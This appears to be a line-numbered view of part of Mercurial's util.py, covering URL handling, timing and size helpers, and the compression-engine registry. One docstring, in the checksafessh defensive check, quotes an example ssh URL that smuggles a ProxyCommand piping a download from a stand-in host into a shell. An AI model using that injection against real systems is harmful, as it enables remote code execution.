2768 2767 elif self.scheme and (not self.path or self.path.startswith('/')
2769 2768 or hasdriveletter(self.path)):
2770 2769 s += '//'
2771 2770 if hasdriveletter(self.path):
2772 2771 s += '/'
2773 2772 if self.user:
2774 2773 s += urlreq.quote(self.user, safe=self._safechars)
2775 2774 if self.passwd:
2776 2775 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2777 2776 if self.user or self.passwd:
2778 2777 s += '@'
2779 2778 if self.host:
2780 2779 if not (self.host.startswith('[') and self.host.endswith(']')):
2781 2780 s += urlreq.quote(self.host)
2782 2781 else:
2783 2782 s += self.host
2784 2783 if self.port:
2785 2784 s += ':' + urlreq.quote(self.port)
2786 2785 if self.host:
2787 2786 s += '/'
2788 2787 if self.path:
2789 2788 # TODO: similar to the query string, we should not unescape the
2790 2789 # path when we store it, the path might contain '%2f' = '/',
2791 2790 # which we should *not* escape.
2792 2791 s += urlreq.quote(self.path, safe=self._safepchars)
2793 2792 if self.query:
2794 2793 # we store the query in escaped form.
2795 2794 s += '?' + self.query
2796 2795 if self.fragment is not None:
2797 2796 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2798 2797 return s
2799 2798
2800 2799 __str__ = encoding.strmethod(__bytes__)
2801 2800
2802 2801 def authinfo(self):
2803 2802 user, passwd = self.user, self.passwd
2804 2803 try:
2805 2804 self.user, self.passwd = None, None
2806 2805 s = bytes(self)
2807 2806 finally:
2808 2807 self.user, self.passwd = user, passwd
2809 2808 if not self.user:
2810 2809 return (s, None)
2811 2810 # authinfo[1] is passed to urllib2 password manager, and its
2812 2811 # URIs must not contain credentials. The host is passed in the
2813 2812 # URIs list because Python < 2.4.3 uses only that to search for
2814 2813 # a password.
2815 2814 return (s, (None, (s, self.host),
2816 2815 self.user, self.passwd or ''))
2817 2816
2818 2817 def isabs(self):
2819 2818 if self.scheme and self.scheme != 'file':
2820 2819 return True # remote URL
2821 2820 if hasdriveletter(self.path):
2822 2821 return True # absolute for our purposes - can't be joined()
2823 2822 if self.path.startswith(br'\\'):
2824 2823 return True # Windows UNC path
2825 2824 if self.path.startswith('/'):
2826 2825 return True # POSIX-style
2827 2826 return False
2828 2827
2829 2828 def localpath(self):
2830 2829 if self.scheme == 'file' or self.scheme == 'bundle':
2831 2830 path = self.path or '/'
2832 2831 # For Windows, we need to promote hosts containing drive
2833 2832 # letters to paths with drive letters.
2834 2833 if hasdriveletter(self._hostport):
2835 2834 path = self._hostport + '/' + self.path
2836 2835 elif (self.host is not None and self.path
2837 2836 and not hasdriveletter(path)):
2838 2837 path = '/' + path
2839 2838 return path
2840 2839 return self._origpath
2841 2840
2842 2841 def islocal(self):
2843 2842 '''whether localpath will return something that posixfile can open'''
2844 2843 return (not self.scheme or self.scheme == 'file'
2845 2844 or self.scheme == 'bundle')
2846 2845
2847 2846 def hasscheme(path):
2848 2847 return bool(url(path).scheme)
2849 2848
2850 2849 def hasdriveletter(path):
2851 2850 return path and path[1:2] == ':' and path[0:1].isalpha()
2852 2851
2853 2852 def urllocalpath(path):
2854 2853 return url(path, parsequery=False, parsefragment=False).localpath()
2855 2854
2856 2855 def checksafessh(path):
2857 2856 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2858 2857
2859 2858 This is a sanity check for ssh urls. ssh will parse the first item as
2860 2859 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2861 2860 Let's prevent these potentially exploited urls entirely and warn the
2862 2861 user.
2863 2862
2864 2863 Raises an error.Abort when the url is unsafe.
2865 2864 """
2866 2865 path = urlreq.unquote(path)
2867 2866 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2868 2867 raise error.Abort(_('potentially unsafe url: %r') %
2869 2868 (pycompat.bytestr(path),))
2870 2869
2871 2870 def hidepassword(u):
2872 2871 '''hide user credential in a url string'''
2873 2872 u = url(u)
2874 2873 if u.passwd:
2875 2874 u.passwd = '***'
2876 2875 return bytes(u)
2877 2876
2878 2877 def removeauth(u):
2879 2878 '''remove all authentication information from a url string'''
2880 2879 u = url(u)
2881 2880 u.user = u.passwd = None
2882 2881 return bytes(u)
2883 2882
2884 2883 timecount = unitcountfn(
2885 2884 (1, 1e3, _('%.0f s')),
2886 2885 (100, 1, _('%.1f s')),
2887 2886 (10, 1, _('%.2f s')),
2888 2887 (1, 1, _('%.3f s')),
2889 2888 (100, 0.001, _('%.1f ms')),
2890 2889 (10, 0.001, _('%.2f ms')),
2891 2890 (1, 0.001, _('%.3f ms')),
2892 2891 (100, 0.000001, _('%.1f us')),
2893 2892 (10, 0.000001, _('%.2f us')),
2894 2893 (1, 0.000001, _('%.3f us')),
2895 2894 (100, 0.000000001, _('%.1f ns')),
2896 2895 (10, 0.000000001, _('%.2f ns')),
2897 2896 (1, 0.000000001, _('%.3f ns')),
2898 2897 )
2899 2898
2900 2899 _timenesting = [0]
2901 2900
2902 2901 def timed(func):
2903 2902 '''Report the execution time of a function call to stderr.
2904 2903
2905 2904 During development, use as a decorator when you need to measure
2906 2905 the cost of a function, e.g. as follows:
2907 2906
2908 2907 @util.timed
2909 2908 def foo(a, b, c):
2910 2909 pass
2911 2910 '''
2912 2911
2913 2912 def wrapper(*args, **kwargs):
2914 2913 start = timer()
2915 2914 indent = 2
2916 2915 _timenesting[0] += indent
2917 2916 try:
2918 2917 return func(*args, **kwargs)
2919 2918 finally:
2920 2919 elapsed = timer() - start
2921 2920 _timenesting[0] -= indent
2921 stderr = procutil.stderr
2922 2922 stderr.write('%s%s: %s\n' %
2923 2923 (' ' * _timenesting[0], func.__name__,
2924 2924 timecount(elapsed)))
2925 2925 return wrapper
2926 2926
2927 2927 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2928 2928 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2929 2929
2930 2930 def sizetoint(s):
2931 2931 '''Convert a space specifier to a byte count.
2932 2932
2933 2933 >>> sizetoint(b'30')
2934 2934 30
2935 2935 >>> sizetoint(b'2.2kb')
2936 2936 2252
2937 2937 >>> sizetoint(b'6M')
2938 2938 6291456
2939 2939 '''
2940 2940 t = s.strip().lower()
2941 2941 try:
2942 2942 for k, u in _sizeunits:
2943 2943 if t.endswith(k):
2944 2944 return int(float(t[:-len(k)]) * u)
2945 2945 return int(t)
2946 2946 except ValueError:
2947 2947 raise error.ParseError(_("couldn't parse size: %s") % s)
2948 2948
2949 2949 class hooks(object):
2950 2950 '''A collection of hook functions that can be used to extend a
2951 2951 function's behavior. Hooks are called in lexicographic order,
2952 2952 based on the names of their sources.'''
2953 2953
2954 2954 def __init__(self):
2955 2955 self._hooks = []
2956 2956
2957 2957 def add(self, source, hook):
2958 2958 self._hooks.append((source, hook))
2959 2959
2960 2960 def __call__(self, *args):
2961 2961 self._hooks.sort(key=lambda x: x[0])
2962 2962 results = []
2963 2963 for source, hook in self._hooks:
2964 2964 results.append(hook(*args))
2965 2965 return results
2966 2966
2967 2967 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2968 2968 '''Yields lines for a nicely formatted stacktrace.
2969 2969 Skips the 'skip' last entries, then return the last 'depth' entries.
2970 2970 Each file+linenumber is formatted according to fileline.
2971 2971 Each line is formatted according to line.
2972 2972 If line is None, it yields:
2973 2973 length of longest filepath+line number,
2974 2974 filepath+linenumber,
2975 2975 function
2976 2976
2977 2977 Not be used in production code but very convenient while developing.
2978 2978 '''
2979 2979 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2980 2980 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2981 2981 ][-depth:]
2982 2982 if entries:
2983 2983 fnmax = max(len(entry[0]) for entry in entries)
2984 2984 for fnln, func in entries:
2985 2985 if line is None:
2986 2986 yield (fnmax, fnln, func)
2987 2987 else:
2988 2988 yield line % (fnmax, fnln, func)
2989 2989
2990 2990 def debugstacktrace(msg='stacktrace', skip=0,
2991 2991 f=procutil.stderr, otherf=procutil.stdout, depth=0):
2992 2992 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2993 2993 Skips the 'skip' entries closest to the call, then show 'depth' entries.
2994 2994 By default it will flush stdout first.
2995 2995 It can be used everywhere and intentionally does not require an ui object.
2996 2996 Not be used in production code but very convenient while developing.
2997 2997 '''
2998 2998 if otherf:
2999 2999 otherf.flush()
3000 3000 f.write('%s at:\n' % msg.rstrip())
3001 3001 for line in getstackframes(skip + 1, depth=depth):
3002 3002 f.write(line)
3003 3003 f.flush()
3004 3004
3005 3005 class dirs(object):
3006 3006 '''a multiset of directory names from a dirstate or manifest'''
3007 3007
3008 3008 def __init__(self, map, skip=None):
3009 3009 self._dirs = {}
3010 3010 addpath = self.addpath
3011 3011 if safehasattr(map, 'iteritems') and skip is not None:
3012 3012 for f, s in map.iteritems():
3013 3013 if s[0] != skip:
3014 3014 addpath(f)
3015 3015 else:
3016 3016 for f in map:
3017 3017 addpath(f)
3018 3018
3019 3019 def addpath(self, path):
3020 3020 dirs = self._dirs
3021 3021 for base in finddirs(path):
3022 3022 if base in dirs:
3023 3023 dirs[base] += 1
3024 3024 return
3025 3025 dirs[base] = 1
3026 3026
3027 3027 def delpath(self, path):
3028 3028 dirs = self._dirs
3029 3029 for base in finddirs(path):
3030 3030 if dirs[base] > 1:
3031 3031 dirs[base] -= 1
3032 3032 return
3033 3033 del dirs[base]
3034 3034
3035 3035 def __iter__(self):
3036 3036 return iter(self._dirs)
3037 3037
3038 3038 def __contains__(self, d):
3039 3039 return d in self._dirs
3040 3040
3041 3041 if safehasattr(parsers, 'dirs'):
3042 3042 dirs = parsers.dirs
3043 3043
3044 3044 def finddirs(path):
3045 3045 pos = path.rfind('/')
3046 3046 while pos != -1:
3047 3047 yield path[:pos]
3048 3048 pos = path.rfind('/', 0, pos)
3049 3049
3050 3050 # compression code
3051 3051
3052 3052 SERVERROLE = 'server'
3053 3053 CLIENTROLE = 'client'
3054 3054
3055 3055 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3056 3056 (u'name', u'serverpriority',
3057 3057 u'clientpriority'))
3058 3058
3059 3059 class compressormanager(object):
3060 3060 """Holds registrations of various compression engines.
3061 3061
3062 3062 This class essentially abstracts the differences between compression
3063 3063 engines to allow new compression formats to be added easily, possibly from
3064 3064 extensions.
3065 3065
3066 3066 Compressors are registered against the global instance by calling its
3067 3067 ``register()`` method.
3068 3068 """
3069 3069 def __init__(self):
3070 3070 self._engines = {}
3071 3071 # Bundle spec human name to engine name.
3072 3072 self._bundlenames = {}
3073 3073 # Internal bundle identifier to engine name.
3074 3074 self._bundletypes = {}
3075 3075 # Revlog header to engine name.
3076 3076 self._revlogheaders = {}
3077 3077 # Wire proto identifier to engine name.
3078 3078 self._wiretypes = {}
3079 3079
3080 3080 def __getitem__(self, key):
3081 3081 return self._engines[key]
3082 3082
3083 3083 def __contains__(self, key):
3084 3084 return key in self._engines
3085 3085
3086 3086 def __iter__(self):
3087 3087 return iter(self._engines.keys())
3088 3088
3089 3089 def register(self, engine):
3090 3090 """Register a compression engine with the manager.
3091 3091
3092 3092 The argument must be a ``compressionengine`` instance.
3093 3093 """
3094 3094 if not isinstance(engine, compressionengine):
3095 3095 raise ValueError(_('argument must be a compressionengine'))
3096 3096
3097 3097 name = engine.name()
3098 3098
3099 3099 if name in self._engines:
3100 3100 raise error.Abort(_('compression engine %s already registered') %
3101 3101 name)
3102 3102
3103 3103 bundleinfo = engine.bundletype()
3104 3104 if bundleinfo:
3105 3105 bundlename, bundletype = bundleinfo
3106 3106
3107 3107 if bundlename in self._bundlenames:
3108 3108 raise error.Abort(_('bundle name %s already registered') %
3109 3109 bundlename)
3110 3110 if bundletype in self._bundletypes:
3111 3111 raise error.Abort(_('bundle type %s already registered by %s') %
3112 3112 (bundletype, self._bundletypes[bundletype]))
3113 3113
3114 3114 # No external facing name declared.
3115 3115 if bundlename:
3116 3116 self._bundlenames[bundlename] = name
3117 3117
3118 3118 self._bundletypes[bundletype] = name
3119 3119
3120 3120 wiresupport = engine.wireprotosupport()
3121 3121 if wiresupport:
3122 3122 wiretype = wiresupport.name
3123 3123 if wiretype in self._wiretypes:
3124 3124 raise error.Abort(_('wire protocol compression %s already '
3125 3125 'registered by %s') %
3126 3126 (wiretype, self._wiretypes[wiretype]))
3127 3127
3128 3128 self._wiretypes[wiretype] = name
3129 3129
3130 3130 revlogheader = engine.revlogheader()
3131 3131 if revlogheader and revlogheader in self._revlogheaders:
3132 3132 raise error.Abort(_('revlog header %s already registered by %s') %
3133 3133 (revlogheader, self._revlogheaders[revlogheader]))
3134 3134
3135 3135 if revlogheader:
3136 3136 self._revlogheaders[revlogheader] = name
3137 3137
3138 3138 self._engines[name] = engine
3139 3139
3140 3140 @property
3141 3141 def supportedbundlenames(self):
3142 3142 return set(self._bundlenames.keys())
3143 3143
3144 3144 @property
3145 3145 def supportedbundletypes(self):
3146 3146 return set(self._bundletypes.keys())
3147 3147
3148 3148 def forbundlename(self, bundlename):
3149 3149 """Obtain a compression engine registered to a bundle name.
3150 3150
3151 3151 Will raise KeyError if the bundle type isn't registered.
3152 3152
3153 3153 Will abort if the engine is known but not available.
3154 3154 """
3155 3155 engine = self._engines[self._bundlenames[bundlename]]
3156 3156 if not engine.available():
3157 3157 raise error.Abort(_('compression engine %s could not be loaded') %
3158 3158 engine.name())
3159 3159 return engine
3160 3160
3161 3161 def forbundletype(self, bundletype):
3162 3162 """Obtain a compression engine registered to a bundle type.
3163 3163
3164 3164 Will raise KeyError if the bundle type isn't registered.
3165 3165
3166 3166 Will abort if the engine is known but not available.
3167 3167 """
3168 3168 engine = self._engines[self._bundletypes[bundletype]]
3169 3169 if not engine.available():
3170 3170 raise error.Abort(_('compression engine %s could not be loaded') %
3171 3171 engine.name())
3172 3172 return engine
3173 3173
3174 3174 def supportedwireengines(self, role, onlyavailable=True):
3175 3175 """Obtain compression engines that support the wire protocol.
3176 3176
3177 3177 Returns a list of engines in prioritized order, most desired first.
3178 3178
3179 3179 If ``onlyavailable`` is set, filter out engines that can't be
3180 3180 loaded.
3181 3181 """
3182 3182 assert role in (SERVERROLE, CLIENTROLE)
3183 3183
3184 3184 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3185 3185
3186 3186 engines = [self._engines[e] for e in self._wiretypes.values()]
3187 3187 if onlyavailable:
3188 3188 engines = [e for e in engines if e.available()]
3189 3189
3190 3190 def getkey(e):
3191 3191 # Sort first by priority, highest first. In case of tie, sort
3192 3192 # alphabetically. This is arbitrary, but ensures output is
3193 3193 # stable.
3194 3194 w = e.wireprotosupport()
3195 3195 return -1 * getattr(w, attr), w.name
3196 3196
3197 3197 return list(sorted(engines, key=getkey))
3198 3198
3199 3199 def forwiretype(self, wiretype):
3200 3200 engine = self._engines[self._wiretypes[wiretype]]
3201 3201 if not engine.available():
3202 3202 raise error.Abort(_('compression engine %s could not be loaded') %
3203 3203 engine.name())
3204 3204 return engine
3205 3205
3206 3206 def forrevlogheader(self, header):
3207 3207 """Obtain a compression engine registered to a revlog header.
3208 3208
3209 3209 Will raise KeyError if the revlog header value isn't registered.
3210 3210 """
3211 3211 return self._engines[self._revlogheaders[header]]
3212 3212
3213 3213 compengines = compressormanager()
3214 3214
3215 3215 class compressionengine(object):
3216 3216 """Base class for compression engines.
3217 3217
3218 3218 Compression engines must implement the interface defined by this class.
3219 3219 """
3220 3220 def name(self):
3221 3221 """Returns the name of the compression engine.
3222 3222
3223 3223 This is the key the engine is registered under.
3224 3224
3225 3225 This method must be implemented.
3226 3226 """
3227 3227 raise NotImplementedError()
3228 3228
3229 3229 def available(self):
3230 3230 """Whether the compression engine is available.
3231 3231
3232 3232 The intent of this method is to allow optional compression engines
3233 3233 that may not be available in all installations (such as engines relying
3234 3234 on C extensions that may not be present).
3235 3235 """
3236 3236 return True
3237 3237
3238 3238 def bundletype(self):
3239 3239 """Describes bundle identifiers for this engine.
3240 3240
3241 3241 If this compression engine isn't supported for bundles, returns None.
3242 3242
3243 3243 If this engine can be used for bundles, returns a 2-tuple of strings of
3244 3244 the user-facing "bundle spec" compression name and an internal
3245 3245 identifier used to denote the compression format within bundles. To
3246 3246 exclude the name from external usage, set the first element to ``None``.
3247 3247
3248 3248 If bundle compression is supported, the class must also implement
3249 3249 ``compressstream`` and `decompressorreader``.
3250 3250
3251 3251 The docstring of this method is used in the help system to tell users
3252 3252 about this engine.
3253 3253 """
3254 3254 return None
3255 3255
3256 3256 def wireprotosupport(self):
3257 3257 """Declare support for this compression format on the wire protocol.
3258 3258
3259 3259 If this compression engine isn't supported for compressing wire
3260 3260 protocol payloads, returns None.
3261 3261
3262 3262 Otherwise, returns ``compenginewireprotosupport`` with the following
3263 3263 fields:
3264 3264
3265 3265 * String format identifier
3266 3266 * Integer priority for the server
3267 3267 * Integer priority for the client
3268 3268
3269 3269 The integer priorities are used to order the advertisement of format
3270 3270 support by server and client. The highest integer is advertised
3271 3271 first. Integers with non-positive values aren't advertised.
3272 3272
3273 3273 The priority values are somewhat arbitrary and only used for default
3274 3274 ordering. The relative order can be changed via config options.
3275 3275
3276 3276 If wire protocol compression is supported, the class must also implement
3277 3277 ``compressstream`` and ``decompressorreader``.
3278 3278 """
3279 3279 return None
3280 3280
3281 3281 def revlogheader(self):
3282 3282 """Header added to revlog chunks that identifies this engine.
3283 3283
3284 3284 If this engine can be used to compress revlogs, this method should
3285 3285 return the bytes used to identify chunks compressed with this engine.
3286 3286 Else, the method should return ``None`` to indicate it does not
3287 3287 participate in revlog compression.
3288 3288 """
3289 3289 return None
3290 3290
3291 3291 def compressstream(self, it, opts=None):
3292 3292 """Compress an iterator of chunks.
3293 3293
3294 3294 The method receives an iterator (ideally a generator) of chunks of
3295 3295 bytes to be compressed. It returns an iterator (ideally a generator)
3296 3296 of bytes of chunks representing the compressed output.
3297 3297
3298 3298 Optionally accepts an argument defining how to perform compression.
3299 3299 Each engine treats this argument differently.
3300 3300 """
3301 3301 raise NotImplementedError()
3302 3302
3303 3303 def decompressorreader(self, fh):
3304 3304 """Perform decompression on a file object.
3305 3305
3306 3306 Argument is an object with a ``read(size)`` method that returns
3307 3307 compressed data. Return value is an object with a ``read(size)`` that
3308 3308 returns uncompressed data.
3309 3309 """
3310 3310 raise NotImplementedError()
3311 3311
3312 3312 def revlogcompressor(self, opts=None):
3313 3313 """Obtain an object that can be used to compress revlog entries.
3314 3314
3315 3315 The object has a ``compress(data)`` method that compresses binary
3316 3316 data. This method returns compressed binary data or ``None`` if
3317 3317 the data could not be compressed (too small, not compressible, etc).
3318 3318 The returned data should have a header uniquely identifying this
3319 3319 compression format so decompression can be routed to this engine.
3320 3320 This header should be identified by the ``revlogheader()`` return
3321 3321 value.
3322 3322
3323 3323 The object has a ``decompress(data)`` method that decompresses
3324 3324 data. The method will only be called if ``data`` begins with
3325 3325 ``revlogheader()``. The method should return the raw, uncompressed
3326 3326 data or raise a ``RevlogError``.
3327 3327
3328 3328 The object is reusable but is not thread safe.
3329 3329 """
3330 3330 raise NotImplementedError()
3331 3331
3332 3332 class _zlibengine(compressionengine):
3333 3333 def name(self):
3334 3334 return 'zlib'
3335 3335
3336 3336 def bundletype(self):
3337 3337 """zlib compression using the DEFLATE algorithm.
3338 3338
3339 3339 All Mercurial clients should support this format. The compression
3340 3340 algorithm strikes a reasonable balance between compression ratio
3341 3341 and size.
3342 3342 """
3343 3343 return 'gzip', 'GZ'
3344 3344
3345 3345 def wireprotosupport(self):
3346 3346 return compewireprotosupport('zlib', 20, 20)
3347 3347
3348 3348 def revlogheader(self):
3349 3349 return 'x'
3350 3350
3351 3351 def compressstream(self, it, opts=None):
3352 3352 opts = opts or {}
3353 3353
3354 3354 z = zlib.compressobj(opts.get('level', -1))
3355 3355 for chunk in it:
3356 3356 data = z.compress(chunk)
3357 3357 # Not all calls to compress emit data. It is cheaper to inspect
3358 3358 # here than to feed empty chunks through generator.
3359 3359 if data:
3360 3360 yield data
3361 3361
3362 3362 yield z.flush()
3363 3363
3364 3364 def decompressorreader(self, fh):
3365 3365 def gen():
3366 3366 d = zlib.decompressobj()
3367 3367 for chunk in filechunkiter(fh):
3368 3368 while chunk:
3369 3369 # Limit output size to limit memory.
3370 3370 yield d.decompress(chunk, 2 ** 18)
3371 3371 chunk = d.unconsumed_tail
3372 3372
3373 3373 return chunkbuffer(gen())
3374 3374
3375 3375 class zlibrevlogcompressor(object):
3376 3376 def compress(self, data):
3377 3377 insize = len(data)
3378 3378 # Caller handles empty input case.
3379 3379 assert insize > 0
3380 3380
3381 3381 if insize < 44:
3382 3382 return None
3383 3383
3384 3384 elif insize <= 1000000:
3385 3385 compressed = zlib.compress(data)
3386 3386 if len(compressed) < insize:
3387 3387 return compressed
3388 3388 return None
3389 3389
3390 3390 # zlib makes an internal copy of the input buffer, doubling
3391 3391 # memory usage for large inputs. So do streaming compression
3392 3392 # on large inputs.
3393 3393 else:
3394 3394 z = zlib.compressobj()
3395 3395 parts = []
3396 3396 pos = 0
3397 3397 while pos < insize:
3398 3398 pos2 = pos + 2**20
3399 3399 parts.append(z.compress(data[pos:pos2]))
3400 3400 pos = pos2
3401 3401 parts.append(z.flush())
3402 3402
3403 3403 if sum(map(len, parts)) < insize:
3404 3404 return ''.join(parts)
3405 3405 return None
3406 3406
3407 3407 def decompress(self, data):
3408 3408 try:
3409 3409 return zlib.decompress(data)
3410 3410 except zlib.error as e:
3411 3411 raise error.RevlogError(_('revlog decompress error: %s') %
3412 3412 stringutil.forcebytestr(e))
3413 3413
3414 3414 def revlogcompressor(self, opts=None):
3415 3415 return self.zlibrevlogcompressor()
3416 3416
3417 3417 compengines.register(_zlibengine())
3418 3418
3419 3419 class _bz2engine(compressionengine):
3420 3420 def name(self):
3421 3421 return 'bz2'
3422 3422
3423 3423 def bundletype(self):
3424 3424 """An algorithm that produces smaller bundles than ``gzip``.
3425 3425
3426 3426 All Mercurial clients should support this format.
3427 3427
3428 3428 This engine will likely produce smaller bundles than ``gzip`` but
3429 3429 will be significantly slower, both during compression and
3430 3430 decompression.
3431 3431
3432 3432 If available, the ``zstd`` engine can yield similar or better
3433 3433 compression at much higher speeds.
3434 3434 """
3435 3435 return 'bzip2', 'BZ'
3436 3436
3437 3437 # We declare a protocol name but don't advertise by default because
3438 3438 # it is slow.
3439 3439 def wireprotosupport(self):
3440 3440 return compewireprotosupport('bzip2', 0, 0)
3441 3441
3442 3442 def compressstream(self, it, opts=None):
3443 3443 opts = opts or {}
3444 3444 z = bz2.BZ2Compressor(opts.get('level', 9))
3445 3445 for chunk in it:
3446 3446 data = z.compress(chunk)
3447 3447 if data:
3448 3448 yield data
3449 3449
3450 3450 yield z.flush()
3451 3451
3452 3452 def decompressorreader(self, fh):
3453 3453 def gen():
3454 3454 d = bz2.BZ2Decompressor()
3455 3455 for chunk in filechunkiter(fh):
3456 3456 yield d.decompress(chunk)
3457 3457
3458 3458 return chunkbuffer(gen())
3459 3459
3460 3460 compengines.register(_bz2engine())
3461 3461
3462 3462 class _truncatedbz2engine(compressionengine):
3463 3463 def name(self):
3464 3464 return 'bz2truncated'
3465 3465
3466 3466 def bundletype(self):
3467 3467 return None, '_truncatedBZ'
3468 3468
3469 3469 # We don't implement compressstream because it is hackily handled elsewhere.
3470 3470
3471 3471 def decompressorreader(self, fh):
3472 3472 def gen():
3473 3473 # The input stream doesn't have the 'BZ' header. So add it back.
3474 3474 d = bz2.BZ2Decompressor()
3475 3475 d.decompress('BZ')
3476 3476 for chunk in filechunkiter(fh):
3477 3477 yield d.decompress(chunk)
3478 3478
3479 3479 return chunkbuffer(gen())
3480 3480
3481 3481 compengines.register(_truncatedbz2engine())
3482 3482
3483 3483 class _noopengine(compressionengine):
3484 3484 def name(self):
3485 3485 return 'none'
3486 3486
3487 3487 def bundletype(self):
3488 3488 """No compression is performed.
3489 3489
3490 3490 Use this compression engine to explicitly disable compression.
3491 3491 """
3492 3492 return 'none', 'UN'
3493 3493
3494 3494 # Clients always support uncompressed payloads. Servers don't because
3495 3495 # unless you are on a fast network, uncompressed payloads can easily
3496 3496 # saturate your network pipe.
3497 3497 def wireprotosupport(self):
3498 3498 return compewireprotosupport('none', 0, 10)
3499 3499
3500 3500 # We don't implement revlogheader because it is handled specially
3501 3501 # in the revlog class.
3502 3502
3503 3503 def compressstream(self, it, opts=None):
3504 3504 return it
3505 3505
3506 3506 def decompressorreader(self, fh):
3507 3507 return fh
3508 3508
3509 3509 class nooprevlogcompressor(object):
3510 3510 def compress(self, data):
3511 3511 return None
3512 3512
3513 3513 def revlogcompressor(self, opts=None):
3514 3514 return self.nooprevlogcompressor()
3515 3515
3516 3516 compengines.register(_noopengine())
3517 3517
3518 3518 class _zstdengine(compressionengine):
3519 3519 def name(self):
3520 3520 return 'zstd'
3521 3521
3522 3522 @propertycache
3523 3523 def _module(self):
3524 3524 # Not all installs have the zstd module available. So defer importing
3525 3525 # until first access.
3526 3526 try:
3527 3527 from . import zstd
3528 3528 # Force delayed import.
3529 3529 zstd.__version__
3530 3530 return zstd
3531 3531 except ImportError:
3532 3532 return None
3533 3533
3534 3534 def available(self):
3535 3535 return bool(self._module)
3536 3536
3537 3537 def bundletype(self):
3538 3538 """A modern compression algorithm that is fast and highly flexible.
3539 3539
3540 3540 Only supported by Mercurial 4.1 and newer clients.
3541 3541
3542 3542 With the default settings, zstd compression is both faster and yields
3543 3543 better compression than ``gzip``. It also frequently yields better
3544 3544 compression than ``bzip2`` while operating at much higher speeds.
3545 3545
3546 3546 If this engine is available and backwards compatibility is not a
3547 3547 concern, it is likely the best available engine.
3548 3548 """
3549 3549 return 'zstd', 'ZS'
3550 3550
3551 3551 def wireprotosupport(self):
3552 3552 return compewireprotosupport('zstd', 50, 50)
3553 3553
3554 3554 def revlogheader(self):
3555 3555 return '\x28'
3556 3556
3557 3557 def compressstream(self, it, opts=None):
3558 3558 opts = opts or {}
3559 3559 # zstd level 3 is almost always significantly faster than zlib
3560 3560 # while providing no worse compression. It strikes a good balance
3561 3561 # between speed and compression.
3562 3562 level = opts.get('level', 3)
3563 3563
3564 3564 zstd = self._module
3565 3565 z = zstd.ZstdCompressor(level=level).compressobj()
3566 3566 for chunk in it:
3567 3567 data = z.compress(chunk)
3568 3568 if data:
3569 3569 yield data
3570 3570
3571 3571 yield z.flush()
3572 3572
3573 3573 def decompressorreader(self, fh):
3574 3574 zstd = self._module
3575 3575 dctx = zstd.ZstdDecompressor()
3576 3576 return chunkbuffer(dctx.read_from(fh))
3577 3577
3578 3578 class zstdrevlogcompressor(object):
3579 3579 def __init__(self, zstd, level=3):
3580 3580 # TODO consider omitting frame magic to save 4 bytes.
3581 3581 # This writes content sizes into the frame header. That is
3582 3582 # extra storage. But it allows a correct size memory allocation
3583 3583 # to hold the result.
3584 3584 self._cctx = zstd.ZstdCompressor(level=level)
3585 3585 self._dctx = zstd.ZstdDecompressor()
3586 3586 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3587 3587 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3588 3588
3589 3589 def compress(self, data):
3590 3590 insize = len(data)
3591 3591 # Caller handles empty input case.
3592 3592 assert insize > 0
3593 3593
3594 3594 if insize < 50:
3595 3595 return None
3596 3596
3597 3597 elif insize <= 1000000:
3598 3598 compressed = self._cctx.compress(data)
3599 3599 if len(compressed) < insize:
3600 3600 return compressed
3601 3601 return None
3602 3602 else:
3603 3603 z = self._cctx.compressobj()
3604 3604 chunks = []
3605 3605 pos = 0
3606 3606 while pos < insize:
3607 3607 pos2 = pos + self._compinsize
3608 3608 chunk = z.compress(data[pos:pos2])
3609 3609 if chunk:
3610 3610 chunks.append(chunk)
3611 3611 pos = pos2
3612 3612 chunks.append(z.flush())
3613 3613
3614 3614 if sum(map(len, chunks)) < insize:
3615 3615 return ''.join(chunks)
3616 3616 return None
3617 3617
3618 3618 def decompress(self, data):
3619 3619 insize = len(data)
3620 3620
3621 3621 try:
3622 3622 # This was measured to be faster than other streaming
3623 3623 # decompressors.
3624 3624 dobj = self._dctx.decompressobj()
3625 3625 chunks = []
3626 3626 pos = 0
3627 3627 while pos < insize:
3628 3628 pos2 = pos + self._decompinsize
3629 3629 chunk = dobj.decompress(data[pos:pos2])
3630 3630 if chunk:
3631 3631 chunks.append(chunk)
3632 3632 pos = pos2
3633 3633 # Frame should be exhausted, so no finish() API.
3634 3634
3635 3635 return ''.join(chunks)
3636 3636 except Exception as e:
3637 3637 raise error.RevlogError(_('revlog decompress error: %s') %
3638 3638 stringutil.forcebytestr(e))
3639 3639
3640 3640 def revlogcompressor(self, opts=None):
3641 3641 opts = opts or {}
3642 3642 return self.zstdrevlogcompressor(self._module,
3643 3643 level=opts.get('level', 3))
3644 3644
3645 3645 compengines.register(_zstdengine())
3646 3646
3647 3647 def bundlecompressiontopics():
3648 3648 """Obtains a list of available bundle compressions for use in help."""
3649 3649 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3650 3650 items = {}
3651 3651
3652 3652 # We need to format the docstring. So use a dummy object/type to hold it
3653 3653 # rather than mutating the original.
3654 3654 class docobject(object):
3655 3655 pass
3656 3656
3657 3657 for name in compengines:
3658 3658 engine = compengines[name]
3659 3659
3660 3660 if not engine.available():
3661 3661 continue
3662 3662
3663 3663 bt = engine.bundletype()
3664 3664 if not bt or not bt[0]:
3665 3665 continue
3666 3666
3667 3667 doc = pycompat.sysstr('``%s``\n %s') % (
3668 3668 bt[0], engine.bundletype.__doc__)
3669 3669
3670 3670 value = docobject()
3671 3671 value.__doc__ = doc
3672 3672 value._origdoc = engine.bundletype.__doc__
3673 3673 value._origfunc = engine.bundletype
3674 3674
3675 3675 items[bt[0]] = value
3676 3676
3677 3677 return items
